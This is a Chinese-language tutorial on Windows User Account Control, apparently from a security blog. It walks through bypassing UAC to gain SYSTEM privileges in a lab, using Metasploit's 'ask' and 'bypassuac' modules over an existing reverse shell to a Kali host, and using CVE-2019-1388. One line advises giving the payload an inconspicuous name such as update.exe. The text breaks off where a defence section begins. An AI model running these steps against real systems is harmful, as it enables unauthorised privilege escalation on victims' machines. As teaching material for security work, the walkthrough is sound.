uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(1)

什么是UAC?

UAC(User Account Control)简称用户帐户控制,UAC 是Windows Vista以上的版本中引入了要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(2)

UAC工作模式

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(3)

需要UAC的授权才能进行的操作:

UAC有如下四种设置要求:

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(4)

绕过UAC的几种思路

目前公开的方法中,有以下几种绕过UAC思路:

绕过UAC提权方法

一、利用Metasploit绕过UAC提权

实验环境:

l 目标主机:Windows 7 professional SP1(64位):192.168.178.246

l 攻击主机:Kali:192.168.178.131

l 攻击主机已获得目标主机的反弹shell(管理员权限),接收端口为2333。

在前期利用反弹shell获取到windows 7会话的前提下,想从管理员权限提升到系统权限,直接使用提权命令‘getsystem’失败,是由于存在UAC的问题,所以先想办法绕过UAC再利用命名管道提权。

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(5)

获取反弹会话的方法可回顾 上一篇:《铭说 | 几种常见的反弹shell方式 》

1.使用exploit/windows/loacal/ask模块绕过UAC

该模块会创建一个可执行文件,目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个system权限的shell。

攻击主机执行MSF命令:

#先将反弹会话放置后台

Ctrl Z

#模块使用

use exploit/windows/local/ask

set filename update.exe #设置运行程序名,尽可能设置一个不易发现的名字。

set session 17

set lhost 192.168.178.131

set lport 2333

run

此时win7上弹出UAC提醒,一旦用户点击了‘是’,就绕过了UAC。

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(6)

Kali获得新会话响应,在新会话中执行提权命令‘getsystem’成功:

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(7)

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(8)

2.exploit/windows/local/bypassuac模块绕过UAC

此模块通过进程注入利用受信任的发布者证书绕过Windows UAC,使用该模块时当前用户必须在管理员组中,且UAC必须为默认设置(“仅在程序试图更改我的计算机时提醒我”)。

#同样,在获取会话后,会话放后台再执行命令:

Ctrl Z

#模块使用

use exploit/windows/local/bypassuac

set session 7

set lhost 192.168.178.131

Set lport 2333

Run

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(9)

Kali获得新会话响应,在新会话中执行提权命令‘getsystem’成功:

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(10)

二、利用CVE-2019-1388绕过UAC提权

该漏洞位于Windows的UAC(User Account Control,用户帐户控制)机制中。默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示——Secure Desktop。这些提示是由名为consent.exe的可执行文件产生的,该可执行文件以NT AUTHORITY\SYSTEM权限运行,完整性级别为System。

#漏洞程序:

HHUPD.exe

程序下载地址:https://github.com/jas502n/CVE-2019-1388

#复现环境:

Windows 7 Enterprise with Service Pack 1 (64位)

当前权限:管理员

#提权过程

1. 打开HHUPD.EXE,在UAC提示中选择“显示详细信息”后点击“显示有关此发布者的证书信息”。

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(11)

2. 点击“颁发者”的超链接,然后关闭UAC提示。

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(12)

3. 在弹出的页面中选择“页面”->点击“另存为”。

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(13)

4. 弹出的警告框点击确定。

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(14)

5. 在文件名输入:C:\Windows\System32\*.*

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(15)

6. 找到cmd,右键打开。

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(16)

7. 在命令行输入“whoami”可以发现当前是系统权限。

uac数字签名怎么关闭(铭说浅析UAC原理及绕过提权)(17)

三、其他攻击模块

Metasploit的其他bypassuac模块、Nishang中的Invoke-PsUACme模块、Empire中的bypassuac模块等都可以进行绕过UAC提权,感兴趣可以自行深入学习。

针对绕过UAC的防御思路,